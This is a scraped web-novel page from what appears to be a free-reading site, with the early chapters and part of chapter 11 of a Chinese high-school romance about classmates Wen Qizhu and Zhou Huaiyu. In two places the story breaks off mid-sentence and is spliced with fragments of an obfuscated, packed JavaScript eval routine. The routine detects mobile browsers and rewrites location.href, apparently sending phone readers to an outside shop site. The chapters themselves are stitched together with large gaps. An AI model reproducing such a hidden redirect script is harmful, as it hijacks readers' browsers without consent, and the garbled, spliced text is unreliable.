《春日重演》 1. 1分 《春日重演》全本免费阅读 【刚得到小道消息,这届高一有人逃训,教官已经去宿舍抓人了,竹子你看见没?】 收到这条消息时,温淇竹刚走到操场边,总教官震耳欲聋的怒吼突破雨幕传过来: “是不是以为军训快结束了,可以放松一下偷偷懒了?一开始我就强调过要遵守规则!一人犯错集体受罚,等查到是哪个班的以后,整个班一起跳蛙跳十圈!” 这位总教官背着手在操场上来回踱步,温淇竹远远看着,感觉自己脚下踩着的水泥地都跟着抖了抖。 明明已经高二,今天的军训和她没有一点儿关系,但她还是莫名心里发虚,伞檐往下压了压,挡住自己的脸。 瓢泼大雨不歇,不间断的雨珠在眼前织成了一张严丝合缝的蛛网,她眯起眼睛向前看,只能模糊看见连成一片的军绿色。 南榆三中的传统,军训不穿迷彩服,穿校服,这一届高一校服颜色是军绿色。 少女歪了歪脑袋,耳朵和肩膀夹住伞柄,腾出手来,用袖子遮掩着手机,快速回了一条消息。 【看见了,是真的。】 回完消息,她赶紧把手机揣回外套衣兜里,快步沿着操场外围那一圈看台向下走,闪身进了食堂,远离教官的训斥。 就算今天是开学报到第一天,高二学生也该在教室自习,而不是到处闲逛。 温淇竹偏偏不听话,要来食堂里的自动贩卖机买喜欢的饮料。 在自动贩卖机前站定后,她先是谨慎地四处张望,确定周围没有老师后,才小心地从衣兜里掏出手机扫码。 不少同学吐槽过自动售卖机不合理:不许学生带手机,但除了扫码付款,这些机器只支持投硬币——但这个时代,还有几个人用硬币啊? 比起找小卖部换硬币,温淇竹还是选择了危险但方便的办法,直接用手机付款。 饮料瓶滚落到最底下货框内,发出一声闷响。她正准备蹲下身去拿,冷不丁听见身后响起的一道陌生声音。 “同学。” 温淇竹心头一突,猛地站起来回头看,猝不及防地撞进了一双浅淡的琥珀色眼睛里。 这样的眸色实在罕见,她一时没能移开眼。 琥珀色眼睛的主人缓慢地眨了下眼,那双眼眸在潮湿的雨中蒙上一层朦胧的冷意,透出不好相处的气质。 少年撑伞站在雨中,身姿颀长,背光而立,熨得平整的军绿色POLO衫被清瘦的骨架撑起,矜贵清冷的气质浑然天成。 是完全陌生的面孔。 她见过的长相英俊的异性不在少数,但少年给人的感觉……和其他人很不一样。 温淇竹一时怔愣,目光直白地在他军绿色的POLO衫上转了一圈,握着伞柄的手指微微收拢。 大概是见她始终不回应,少年微微蹙眉,语调平淡地再次开口: “我没带手机,可以帮我买瓶水吗?我付给你现金。” 他声线偏冷,像是滚过冰水的玉,轻飘飘地送进她的耳里。 恰在此时,一声闷雷响,雨势愈发放肆,不少雨珠顺着偏移的伞面滑下来,在她白色的衣袖上浸出几点深色印记。 她被冰凉的触感冻得一个激灵,往后退了几步,躲在食堂的屋檐下,避开猖狂的雨。 “没问题。”她干脆地应了下来,又掏出手机扫了一次码,把一瓶矿泉水递给他。 少年接过那瓶水,把两张一元的纸币递过来,言简意骇地说了声谢谢。 这样一来一回,温淇竹的心思重新活络起来,目光不自觉又在对方的军绿色POLO衫上停了停,随后意味深长地抬眼看向他。 少年没有移开目光,就这样懒懒地和她对视,只右边眉毛轻轻往上挑了一下,表示疑问。 不会吧。 温淇竹心情有些微妙。 撞见逃训本人了? 不仅逃训,还穿着高一校服招摇过市,够拽。 她没有收敛自己的目光,直直地和他对视,抬起手隔着空气点了点他的POLO衫,故作深奥地扬起下巴: “你很快就要出名了,逃训生。” 这话完全没有幸灾乐祸的意思。 从偷偷带手机这件事就能看出来她自己也不是什么循规蹈矩的乖学生,自然也不会对相貌出色的叛逆少年有恶感。 她纯粹是陈述事实。 刚开学,人都还没认全呢,就敢逃训,可不得出名吗? 少年顺着她的目光垂眸看了眼自己的衣服,面上表情毫无变化,只敷衍地翘了下嘴角。 “我高二。” 温淇竹对这种表情熟悉得很。 霍,看来对方也不是头回干这种破坏规矩的事儿了。 “教官正找你呢,你最好别往操场去。” 温淇竹直接忽略掉对方那句欲盖弥彰的辩解,友好提醒了一句,随后才挥挥手准备离开。 有意思归有意思,她不打算和陷在风暴眼里的人单独相处太久。 免得一会儿撞见教官,直接被打成共犯。 那些教官多不讲道理她去年是见识过的。 正当她在心中悄悄吐槽时,却忽地听见那个一年级语调平平地喊了声“老师好”。 温淇竹后背蓦地窜起一串鸡皮疙瘩,警报骤然在脑中拉响。她迅速收敛表情,下意识去摸口袋里的手机。 “别藏了,交出来吧,我知道你带了手机。” 严肃的女声响起。 缺席一整个暑假的、独属于年级主任的香水味晃晃悠悠飘过来,像是一条无形的丝带缠住了她的脖颈, 温淇竹僵住,大脑飞速运转思考该用什么借口蒙混过关。 最后,她硬着头皮回头,扬起无辜卖乖的笑,茫然地睁大眼睛,睁眼说瞎话:“薛老师,我没带手机呀。” 被年级主任薛萍逮到私自带手机的后果比被其他老师发现严重得多,据亲历者说,会请家长来学校领手机,并让家长对其进行再教育。 可不能轻易承认自己带手机。 说不准是在诈她呢。 “还装呢?”薛老师哼笑一声,镜片折射出锐利的光,“二班的温淇竹是吧?坦白从宽,抗拒从严,你考虑清楚啊。” “真没有呀,薛老师。” 她飞快地眨了两下眼睛,将眼底一闪而过的惊慌压下去,努力保持面上的笑容,心却一个劲儿地向下沉。 ……薛老师怎么会那么笃定她带了手机? 右边外套口袋里沉甸甸的重量变得滚烫,即便隔了一件T恤也还是烧到了腰部那一小片皮肤上,温淇竹垂在身侧的手紧攥成拳,目光也不自觉开始到处乱飞。 好巧不巧,她的视线正好越过薛老师的肩膀,再次和那位逃训的高一生撞上。 少年仍站在原地,一手撑伞,一手握矿泉水瓶,安静地掀起眼皮望向她。 微冷的琥珀色,一下子浇灭了心虚所致的热意。 “嘴硬是吧?那你把衣兜翻出来给我看看。”薛萍推了下眼镜,好整以暇地看着她,直接把她其他心思都堵回去。 不承认是想不通了。 温淇竹低下头去,大脑飞速思考该怎么减轻罪行,磨磨蹭蹭了好半天,不情不愿地把手放进衣兜里,脚尖不自觉在地面上来回摩擦几下,才把手机递出去。 再抬起头时,她已经耷拉下眼尾,那双漂亮的杏眼黯淡无光,五官皱在一起,后悔不已地进行自我检讨: “还是薛老师敏锐,我真的知错了!我不该因为才开学就抱有侥幸心理的,刚才居然还撒谎不承认,实在是错上加错!薛老师,我之后绝对、绝对不会再犯了!您罚我吧,我绝对不会有怨言的!” 少女说着说着,还举起手,三指并拢指向天花板,言之凿凿地发誓。 虽然她满面悔恨,还主动讨罚,但心里却忐忑地祈祷薛老师能大发慈悲放她一马,同时也在琢磨薛老师究竟是如何发现她偷藏手机的。 在薛老师出声前,那一年级先喊了声“老师好”。 在军训期间闲逛,见到老师也不跑,还主动问好,这可能吗?再怎么胆大,见到老师也会躲一躲吧。 除非是将功补过了。 脑中的猜测缺少的那一环被补齐。 ——他揭发了她偷带手机的秘密! 温淇竹恨恨地咬住后槽牙,胸口剧烈起伏,深吸一口气才好不容易把怒气憋回去。 亏她刚才还好心帮他买水! 还提醒他别去操场撞枪口! 居然恩将仇报! 前一秒她还觉得这个一年级长得俊,此刻却只觉得他面目可憎。 她险些控制不住表情,干脆装作垂头丧气,把脑袋埋进衣领里,把愤怒都藏起来,同时又竖起耳朵,等待薛萍的最后宣判。 薛萍铁面无私的声音在头顶响起:“行了,早就知道你嘴皮子厉害,这次先不告诉你家长,到时候期末考完自己去找班主任领手机。” 听语气,是不打算给她其他处罚了。 温淇竹这才松了口气,还不忘感激涕零地拍马屁:“谢谢薛老师!我一定记住这次教训!薛老师人美心善!下次教师运动会我一定动员全体同学给您应援!” “打住打住,别贫嘴了。”这回薛老师没绷住,轻咳一声,笑骂道,“该干嘛干嘛去吧。” “好嘞!”她麻利地点头,临走前朝逃训一年级所在的位置甩了一记眼刀过去。 眼刀落空,少年已经离开。 岂有此理! 温淇竹暗暗捏紧拳头。 这事儿就这么算了? 不可能,她才不是那种把憋闷往肚子里咽的人! 她眼珠子一转,飞快调转方向,从食堂后门跑出去,一鼓作气跑到了操场边上。 因为动作太急,即便撑伞也没拦住雨,她的裤脚已经湿了一圈,像狗皮膏药似的黏在脚踝上,很不舒服。 但温淇竹已经顾不上这个了。 她深吸一口气,气沉丹田,冲着总教官的后脑勺喊: “报告教官!我刚才看见逃训的同学了!他就在食堂附近!” 少女咬字字正腔圆,完全没有南方出生的孩子惯有的小口癖,听起来像是摔进冰汽水里的梅子,清甜干脆,很悦耳。 她以前学过播音,此刻特地用上发声技巧,确保自己的声音能被.操场上的所有人听见。 你告我一状,那我也告你一状,很公平嘛! 教官显然听见了她的话,缓缓转身朝她看过来,操场上所有站军姿的学生都仰起脸来,齐刷刷 2. 2分 《春日重演》全本免费阅读 当班会开始,周淮聿站在讲台上做自我介绍时,温淇竹一动不动地趴在桌子上,只露出一头乱糟糟的短发,整张脸都埋进了自己的臂弯里,任凭同桌陈姝妤怎么劝都不肯起。 即便她已经努力用胳膊压住耳朵,企图隔绝掉外界的声音,但是那道几分钟前才听过的声音还是一个劲儿往她耳朵里钻。 “我是周淮聿,请多指教。” 清冷干净的声线,逐渐勾起了几分钟前她和对方在楼梯间的记忆—— 带周淮聿去六楼后勤处领校服本就是碍于班主任的要求,其实她心里揣着一百个不情愿。 先前在操场那一幕还在脑中不停回放,好像有无形的丝线勒住肺部,害她呼吸困难,心乱如麻,每一秒都变得无比漫长。 也不知道另一个当事人是什么表情。 她悄悄往旁瞥了眼。 少年目不斜视地踩着楼梯往上走,侧脸线条流畅利落,态度自若,看不出任何不适。 总不能只有她一个人不自在吧! 温淇竹忍不住没话找话: “喂,新同学……” 少年应声停下脚步,垂眸看过来。 楼道太窄,两人距离太近,她甚至看清了对方右眼双眼皮褶里的一粒小小红痣。 她忽然起了坏心思,故意说: “你就不怕我指的这条路不是后勤处吗?” 周淮聿面上依旧没什么表情。 对方的沉默无疑是助长了温淇竹的气焰,她正要继续挑衅,少年就已经收回目光,继续向上走。 走得这么坚定,真的一点儿也不怀疑是错路吗? 温淇竹纳闷地转头,发现从这个位置已经能隐隐瞧见再上一层的楼梯口挂着的“后勤处”三个大字。 “……”难怪。 她尴尬地挠了下脸,不服气地抬头,另起话题:“新同学,我不计前嫌带你来后勤处领校服,你是不是该说句‘谢谢你’?” 周淮聿脚步不停,轻飘飘地丢下一句: “哦,不客气。” “……是让你说谢谢!没礼貌!” 温淇竹不快地皱起眉,用力地眨了眨眼睛,挥散这段丢人的回忆,终于肯抬起头来往讲台上看一眼。 少年已经换上了二年级这届的浅蓝色POLO衫和黑色长裤,规规矩矩地把领子最上面一颗扣子也扣上,露出一小截冷白色的脖颈,线条锋利的下颚向下一压,就只能瞧见翻出来的衣领了。 教室内冷色的灯光打在他的发顶,给他镀了一层若有若无的光晕,配上他面无表情的清隽五官,更显疏离。 周淮聿的自我介绍就短短几个字,除了名字,什么信息都没介绍,可这个年纪的学生恰好就吃这一套。 他话音刚落,教室内很快就骚动起来,窸窣的议论声不断。 温淇竹清晰地听见自己后座的女生压低雀跃的声音说: “好帅!咱们班来帅哥了!” “太好了,我还以为帅哥转学生这种事儿只发生在小说里呢。” 这倒是实话。 她漫不经心地想。 讨厌鬼长这样一张脸,真是暴殄天物。 “竹子,看开点,这事儿本来就不是你的错嘛!你好心帮他买水,他倒好,反过来告你一状,实在是太不厚道了!”陈姝妤以为她还沉浸在真假逃训生的乌龙里,担忧地抓着她的胳膊继续安慰道,“逃训这事儿弄错了也没关系,以后还多的是机会报复回来呢!” 说了一长段话,陈姝妤犹嫌不足,酝酿半天,又憋出一个成语:“人模狗样!” 刚才一回到教室,温淇竹就和陈姝妤简单概括了一遍在操场发生的事,身为和她从小一起长大的好闺蜜,自然是无条件站在她这边,就算另一方皮囊再帅也不会动摇陈姝妤的立场。 温淇竹听完就扑哧一声笑了。 原本教室里窃窃私语声此起彼伏,她和陈姝妤的交头接耳一点儿也不显眼,偏偏班主任谷梅恰好在这时拍了几下桌子,大家重新安静下来,导致她短促的笑声格外突兀。 全班同学整齐划一地回头看她,面上挂着凑热闹的善意表情。 还站在讲台上的周淮聿也垂下眼睫朝她看过来。 “说什么呢笑得那么开心,要不讲给大家一起笑一笑吧?”谷梅也不恼,乐呵呵地调侃她。 一旁的陈姝妤已经心虚地低下头去翻新课本,假装在扉页写名字,根本没注意到自己连笔都拿反了。 温淇竹淡定地站起来,挺直背脊,一本正经地回答:“谷老师,我们刚刚在说新同学在操场被我误当作逃训生举报的事,我确实太草率了,在这儿给新同学道个歉。” 说完,她又看向周淮聿,眼神很亮,语气诚恳:“新同学,对不起,你愿意接受我的道歉吗?” 话音刚落,陈姝妤手里的笔“啪嗒”一声掉下去,她难以置信地抬头看向温淇竹,又惊恐地看了眼站在讲台上的周淮聿。 全班好奇的眼神愈发灼热,更有好事的男生开始夸张地起哄。 少年那双狭长的丹凤眼微微眯起,用客气的语气说出不客气的话:“温同学现在问,我当然会说没关系。” 温淇竹从话里品出对方的潜台词,不甘示弱地瞪回去:“新同学这么说,是觉得我态度不够真诚吗?” 她认真反思,冥思苦想,忽而激动地一拍掌,又向班主任提议:“谷老师,我愿意把英语课代表的位置让出来,新同学英语成绩好,更名正言顺!也能帮助新同学融入集体!” 闻言,班上其他同学立刻激动起来,胆子大的还大声附和:“我同意!这还能帮助新同学融入班级体!” 谷梅看向周淮聿:“这还是要看个人意愿的,周淮聿愿意吗?” 少年眸光越来越冷,嘴角彻底放平,他看也不看台下一双双期盼的眼睛,干脆利落地拒绝: “不愿意。” 同学们立刻失望地蔫下去。 “温淇竹,你也听到啦。”谷梅笑着瞅了温淇竹一眼,随后抬手指向教室里唯一一个空位置,“周淮聿,你坐这个位置吧。” 很不巧,这个空位位于温淇竹的前桌。 周淮聿面不改色,径直走过来坐下。 在他坐下的同时,温淇竹立刻别过头去,单手支着下巴,让正前方的背影从自己的视线范围内消失。 这下,四周的同学都大概猜到温淇竹不太待见新同学这件事儿了,但是碍于班主任还在台上滔滔不绝地讲新学期的注意事项,没办法凑过来八卦。 而同桌的陈姝妤占了位置的便利,迫不及待地递了一张纸条过来。 【让周淮聿当英语课代表和你道歉真不真诚有什么关系啊?】 温淇竹扫了一眼,拿起笔刷刷地写,随后又把纸条推了回去。 【没有关系啊,英语课代表那么累,我就是偷偷懒,顺便让他不痛快而已。^ ^】 后面还跟了一个满怀恶意的笑脸。 高二二班的所有人都知道,英语课代表是个苦差事,因为他们的英语老师是个古板事又多的老头,总是让课代表干一些毫无意义且繁琐无聊的琐事,占用掉一大半休息时间。 上学期选出的英语课代表转去文科班了,谷梅让温淇竹兼任英语课代表和化学课代表,希望以此勉励她提高英语成绩。温淇竹正愁该如何把这个烫手山芋丢出去呢。 陈姝妤看完纸条的内容,偷偷摸摸给她竖了个拇指:不愧是你! “休息十分钟,然后就开始开学检测了,希望你们暑假没有放松过头,别看到卷子就哭丧着脸啊。”谷梅说,“每科考试由各科课代表监考。” 班主任前脚刚走,后脚教室就热闹起来。 温淇竹桌边围了不少人,一半是来和她聊假期趣事,一半是借着由头偷瞄新同学。 她看穿了大家的小心思,顺着话聊了一会儿才起身,借着拿试卷的借口拉着陈姝妤离开了教室。 “我感觉已经看到了未来两年你和新同学不死不休的交锋。”去办公室的路上,陈姝妤感慨道。 “拜托,我才没有那么斤斤计较好不好!”温淇竹嗔怒地用手肘顶了她一下,纠正道,“只要报复一次就两清,把心思全放那讨厌鬼身上干嘛。” 陈姝妤笑嘻嘻地靠过来,和她腻歪地贴着肩膀:“毕竟新同学帅嘛!” “徒有其表有什么用。” “你还说不斤斤计较呢!这不就已经对人家有刻板印象了吗!” “我才没有!” /// 考试时间,教室里一片寂静,只能听见笔落在纸面上刷刷的声音,以及淅淅沥沥的雨声。 轮到化学考试,温淇竹便拿着试卷和笔袋在讲台坐下,手边还放了本专门用来记名字的黑名单。 化学是她的强项,就算野了一个暑假,毕竟底子摆在那儿,做题速度还是很快,在写完最后一道题时,距离这场考试结束还有半个小时。 温淇竹没有检查试卷的习惯,做完题就撑着下巴望着黑板报发呆,偶尔看看台下的同学们有没有小动作。 眼看挂钟的分针越走越慢,她失了耐心,又抽了一张草稿纸准备乱涂乱画,却敏锐地捕捉到教室里传来翻书声。 她警惕地抬头,扫视一圈,目光最后落在了周淮聿身上。 少年把试卷折好放在了桌子左上角,光明正大地拿出一本封面花哨的课外书来看,态度闲适得让她忍不住开始怀疑是不是考试时间早就过了。 做完卷子就干其他事的同学不在少数,要是动作小心谨慎些,她睁只眼闭只眼也就过了,毕竟记黑名单是件得罪人的事,不必太较真。 但是,偏偏他是周淮聿。 偏偏他又是如此的明目张胆! 这不是把亲手把柄送上门来吗! 兴奋按捺不住,早已经跑上嘴角,温淇竹毫不犹豫,立刻拿起签字笔,郑重其事地在黑名单上写下了周淮聿的名字。 ——周淮聿,化学考试看课外书。 她看了又看,对自己潇洒飘逸的连笔字非常满意。 剩下的五分钟,她只顾着欣赏自己在黑名单上留下的字迹,竟是硬生生把“周淮聿”这个名字也看顺眼了。 考试时间一到,温淇竹便迫不及待地捧着黑名单和全班试卷去了办公室。 化学是最后一门考试,卷子一交,教室内的气氛松动下来,尽管还有一节晚自习才放学,但教室已经热闹起来,大家笑的笑,闹的闹,喧哗声险些掀翻屋顶。 好在整层楼都这样,二班的吵闹也不算突出。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12061551|128522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 周淮聿微蹙的眉头早已舒展,他活动了下手脚,随意地抓了抓自己的头发,面上的神情轻松淡定:“行。” 这样旁若无人、完全不把对手放在眼里的对话,让五班的队员立马黑了脸。 其中更黑更壮的体育生威胁道:“喂,转学生,别太自以为是了。” “是吗。”周淮聿转头,似笑非笑地看向对方,意有所指,“真以为自己来虐菜的?” 体育生还没来得及反击,尖锐的口哨声响起,催促他们抓紧时间。 他只得恶狠狠地瞪了周淮聿一眼,脚尖一勾,带着球往球门冲。 尖子班组成的球队凭借在球场上锻炼出的默契,很快就拦截下这一球,战局扭转,五班开始想尽办法抢球和防守。 最后三分钟,定胜负的一球。 球场上战况愈发激烈。 就在两队胶着时,周淮聿像一只捕风的猎鹰冲出重围,一套动作行云流水,敏捷地在球场上穿梭,最后砰一声,将球踢向球门。 五班在飞扑,一二班在阻挠,观众屏息凝神注视着那颗球—— 进了! 比赛结束的哨声也在这时吹响。 场上顿时炸开锅,欢呼声雷动。 “帽子戏法!” “居然真的是帽子戏法!” 段帆宇也激动地大喊:“聿哥牛逼!真做到帽子戏法了!牛逼!” “我服了,真牛逼!” “五班请外援有什么用?还不是被我们虐!哈哈哈哈!” 陈姝妤对足球规则和黑话完全不了解,询问温淇竹:“帽子戏法是什么?” “就是一人连进三球。”温淇竹其实也是半个门外汗,只知道一些概念,没见过实际操作,此刻惊讶地眨眨眼,“厉害啊,帽子戏法原来是这么踢的,这么短的时间内……” 原本还担心周淮聿拖后腿呢…… 眼下看来先前的担忧完全是多余的。 她以全新的眼光打量周淮聿,一面啧啧称奇,一面不忘自己身为啦啦队的本职工作:“出发出发,我们去慰问队员!” 此刻全班都很激动,还有不少外班的同学也跟着凑热闹,将队员们团团围住,递水的递水,递纸的递纸,借着这个机会攀谈。 周淮聿身边的人尤其多。 少年的黑发完全被汗水浸湿,发尖也挂着汗珠,冷白色的皮肤泛起运动过后的潮红,他眉眼看上去比平时软和一些,不可接近的冷漠气质也被腾腾热气融化。 正因如此,不少女生都借着这个机会想要和他说上几句话。 温淇竹虽然惊讶于他的表现,但是也不打算去凑这个热闹。她敏锐地注意到单独走在后面的守门员和后卫,立刻拿着水和纸巾过去,非常认真地夸赞: “你们都特别厉害!要不是守好球门不让他们进球、阻止他们进攻的话,我们也不能赢得那么顺利,辛苦啦辛苦啦,快喝水!” 两个男生受宠若惊地接过水和纸巾,不好意思地挠挠头,和她说谢谢。 “客气什么,都是同学嘛。”她笑着摆手,一回头,意外地对上了周淮聿的视线。 温淇竹歪了下脑袋,坦坦荡荡地和他对视几秒,不甚在意地率先移开目光,又关心了身边的同学几句,随后和陈姝妤一起脱离大部队,偷偷跑去食堂的自动售卖机前买水。 “小阮呢?” “当然是去关心周淮聿啦。”陈姝妤挤挤眼。 二人心照不宣地笑了下,没有多谈朋友的感情问题,话题转到今天这场球赛上。温淇竹凭借自己跟着父亲一起看球赛的那点微薄经验,勉强给陈姝妤解释足球规则。 等她们回到教室时,晚自习铃声刚好打响。 老师还没来,同学们还沉浸在刚才那场球赛里,教室闹哄哄的,班委也没有主动管纪律。 “周淮聿,麻烦你让我一下。” 少年将椅子往前收。 他尚未换下球服,只简单用纸擦了下头发,大概是用水洗过脸,眉梢眼角都挂着晶莹的水珠。 即便隔着礼貌的距离,温淇竹好像也能感受到他滚烫的呼吸,以及清苦的沐浴露香和奔跑过后的少年味道混杂在一起的荷尔蒙气息。 她坐回自己的位置,偏头看着周淮聿,难得主动开口和他说话:“周淮聿。” 周淮聿转头看她。 “你足球踢得很好。”她自认公私分明,既然对方为班级争得荣誉,那当然该夸一夸,所以说得真心实意,“最后的帽子戏法很厉害!” 少年停顿一瞬,忽然轻轻牵起嘴角笑了下。 “嗯,谢谢夸奖。” 11.11分 自从那场足球赛后,周淮聿在学校里的风头一度盖过了季煦礼。与之相对的,五班那群男生的名声臭了不少,大家都知道他们在比赛的时候请外援,不厚道。 而那两个体育生,自然也背上了“自己的专业还被别人碾压”的嘲笑。 “要不是我们之前没打过配合,比分还能拉得更开,真是便宜他们了!”每每说到这件事,段帆宇就义愤填膺,再次表示自己对周淮聿的佩服,“聿哥确实厉害!成绩行,踢球更行!下次咱一起去踢球吧?” 拉了一旁的椅子坐过来的阮诗韵也说:“那下次叫上我们嘛,我们还去当啦啦队,你说呢,竹子?” 她看向温淇竹,在转头的瞬间目光局促地从周淮聿脸上滑过,慌慌张张地捋了下自己的头发。 这两天,阮诗韵来二班找温淇竹的次数比以前高了很多。 温淇竹看穿了她的少女心事,没有戳穿,只是遂她意点头:“好啊,下次我们还去。段帆宇,你们欢不欢迎?” “欢迎啊,当然举双手欢迎!”段帆宇赶紧说,“不过聿哥还没表态呢,聿哥下次踢不踢球?” 周淮聿这才抬头,目光不偏不倚,没看两边的女生,对段帆宇说:“有空的话踢。” 没直接拒绝,在段帆宇看来就是答应了,他欢呼一声,开始兴奋地策划下次踢球该喊哪些人。 这个话题阮诗韵插不进去,只得坐在旁边保持微笑,无措地向温淇竹投去求助的眼神。 温淇竹忽然觉得没劲儿,错开目光,任性地装作没看见,低头去写作业。 事实上,不止阮诗韵,其他混了个面熟的同学也会找各种各样的理由来二班和温淇竹说话。名义上是找温淇竹,其实是借着这个机会多看几眼她的同桌周淮聿。 饶是热爱交朋友、喜欢聊天的温淇竹也受不了了。 最让她不解的是,为什么大家每次来找她说话,都是为了看周淮聿呢?就好像她变成了什么游戏NPC、工具人,和她说话只是敷衍,真正目的是触发和Boss周淮聿的偶遇。 她一点儿也不喜欢这样。 越想越委屈,温淇竹把气撒在了间接造成这一切的周淮聿身上。她噌地一下起身,名字也懒得叫,只带着怒气踢了踢他的椅子,硬邦邦地说:“让一下。” 原本正欢声笑语的教室一静。 大家都朝她看过来。 温淇竹这才发现自己音量有点儿大,语气也恶劣得太明显。 她心虚地抿了抿唇,又很快理直气壮起来,催促道:“快让让。” 周淮聿探究地看她,什么也没说,沉默地往前收了收凳子。 而坐在一旁的阮诗韵看上去更加不知所措,她看看温淇竹,又看看周淮聿,最后茫然地看向陈姝妤。 “竹子我记得之前溜溜梅叫你去办公室是不是?我和你一起去!”陈姝妤察觉到闺蜜情绪不对,赶紧帮她打圆场,随后追了出去。 “怎么突然不开心?要不我们一起骂骂讨厌的人?竹子你这两天都没喝小鱼同学,要不我们现在去买吧?” 闺蜜关切的话语在耳畔响起,像是一缕光突破笼罩在心头的乌云洒下来,温淇竹鼻头蓦地一酸,以浣熊抱树的姿势靠在陈姝妤身上,拖长声音撒娇:“妤妤——有你真好——” “好啦好啦,所以到底是怎么了?” “就是……” 温淇竹把刚才的所思所想简单讲给陈姝妤听。 “也不是怪小阮或者怪其他女生啦……”她闷闷不乐地说道,“我其实很理解她们想多看几眼喜欢的人,但是总不能因为喜欢谁就完全忽略我嘛!” “我当然懂你意思啦。” 陈姝妤安抚性地拍了拍她的手,冥思苦想,随后提出一个解决办法: “竹子,下次咱们下课就来操场散步吧,这样她们就不能借着各种各样的理由来找你了!” 温淇竹稍作思索,觉得可行:“好主意!” “那我们买完饮料再散散步?” “好!” 笑容又重新回到她脸上。 二人在操场上消磨掉整个大课间,听见上课铃响才晃晃悠悠地往回走。 反正化学晚自习谷梅一般不会立刻到教室,就算迟到几分钟也没关系。 这时,温淇竹的心情已经彻底阴转晴,漂亮的杏眼不再没精打采地耷拉,也不知道说到什么高兴事,她笑得前仰后合,五官齐齐向上飞扬。 她本来就是极张扬明媚的长相,这样一笑,更是美得夺目,让人移不开眼。 二人走到教室所在的三楼时,正好看见周淮聿站在二班门口,和几个女生说了句什么,那几个女生表情不停变换,最后白着脸回了自己班。 “看样子周淮聿说的话可不好听啊。”陈姝妤好奇地看着这一幕。 温淇竹本来想说“狗嘴里吐不出象牙”,但是想到自己刚才无端冲对方发脾气,又觉得自己莫名低了他一头,只好把这句话憋了回去。 她有一套自己的是非观,别人招惹她,那报复回去是理所当然的事,但如果对方什么都没做平白承受她的怒火,她就会感到愧疚。 尽管和周淮聿积怨已久,但她确确实实都是和对方一来一回地对着干,这次周淮聿还没做什么呢,她今天整这一出,完全不占理。 直到回到教室时,温淇竹依旧被抱歉愧疚的情绪支配,这样的情绪在余光瞥见周淮聿右手虎口上那道月亮形状的浅浅疤痕时达到顶峰。 少女纠结地握紧手中的小鱼同学,目光长久地停留在另一瓶没开封的荔枝味小鱼同学上,眉毛时不时锁在一起,嘴唇也抿成一条直线。 终于,她下定决心。 她拿起桌上那瓶未开封的荔枝味小鱼同学,轻轻搁在周淮聿的桌上,小声说:“请你喝。” 本来想直接说对不起,但由于前两次的道歉都诚意不足,现在说出来好像也差了点儿意思,再加上对方上次针对她道歉说的那句不阴不阳的话,她思索再三,还是把“对不起”三个字咽回了肚子里。 周淮聿闻言,停下手中动作,侧目看她,单边挑眉,没有去碰那瓶气泡水。 “拿着吧。”温淇竹这次铁了心要他收下,唰地收回手,不再解释,自顾自地抽出化学作业开始写。 想来周淮聿应该也能猜到这瓶气泡水是因何而来。 鬓边的碎发随着低头的动作吹落下来,正好掩住她偷偷观察的视线。 她全身心放在偷瞟上,手里虽然握着笔,但是写下的鬼画符连自己也认不出。 半晌,周淮聿才终于伸手拿起那瓶气泡水,很给面子地喝了一口。 那这就是接受道歉了! 温淇竹长舒一口气,这才放心地把注意力放回作业上。 她撕掉刚才那张乱涂乱画的草稿纸,重新写下一串公式,开始认真演算结果。 殊不知垂落的发丝也阻碍了她对周遭的感知能力。 在她看不见的地方,少年靠着椅背,坐姿懒散,手指缓慢地摩挲着那瓶气泡水的塑料外壳,盯着她看了很久。 /// 在晚自习结束铃响前,温淇竹就已经收拾好东西,决定在有人找她说话的前一秒离开教室。 奇怪的是,这节课间很安静,没有任何人来座位边找她说话。 即便有,也是冲着她本人来的,而非同桌的爱慕者。 心中始终紧绷的那根弦缓缓放松。 “你要出去吗?” 周淮聿掀起眼皮看她,平淡地问。 “哦,不出去。”温淇竹这才反应过来自己还站着,懵然坐下来,和前排的陈姝妤对视一眼,不明所以地挠了挠脸颊。 无论如何,令人困扰烦恼的事不再出现,总是舒心的。 少女松快地笑了下,静下心来继续和作业搏斗。 /// 更让温淇竹高兴的是,化学晚自习只是一个开始,之后的一个星期,再也没出现过大家蜂拥来找她,眼睛却落在周淮聿身上的情况。 阮诗韵即便来找她,也不会再主动进班,而是在教室门口等待。 她这才彻底放下心来。 “竹子,我听我们班主任说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12074919|128522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这次半期考试会延期,你们班说这件事儿没?”阮诗韵咬着雪糕和她们分享最新消息。 “还没有,估计今天化学课的时候会说。”温淇竹很感兴趣地问,“是有什么活动吗?怎么会推迟半期考试?” “据说是和其他几所学校联考,为了迁就一中的教学进度所以往后延两周——不过,我们班主任透露口风,可能下周会开运动会。” 陈姝妤不由自主地感慨:“真是个好消息,又有几天能不上课了。” 两个女生深表赞同,默默点头。 甭管现在几年级,离高考还有多久,人贪玩的本性是不会变的。 三人并肩站在廊桥上,扒拉着栏杆,仰头看天。 残阳余晖映在云朵上,让将将擦黑的天幕中透出几抹剔透绚丽的玫红色,无数少年在即将到来的夜色中奔跑,刺破操场与天空接壤的界限。 “好漂亮的晚霞,要是能用手机拍下来就好了。”温淇竹小声嘀咕。 陈姝妤赞同点头:“不过有时候拍下来,又没有肉眼看到时那么惊艳,好奇怪。” 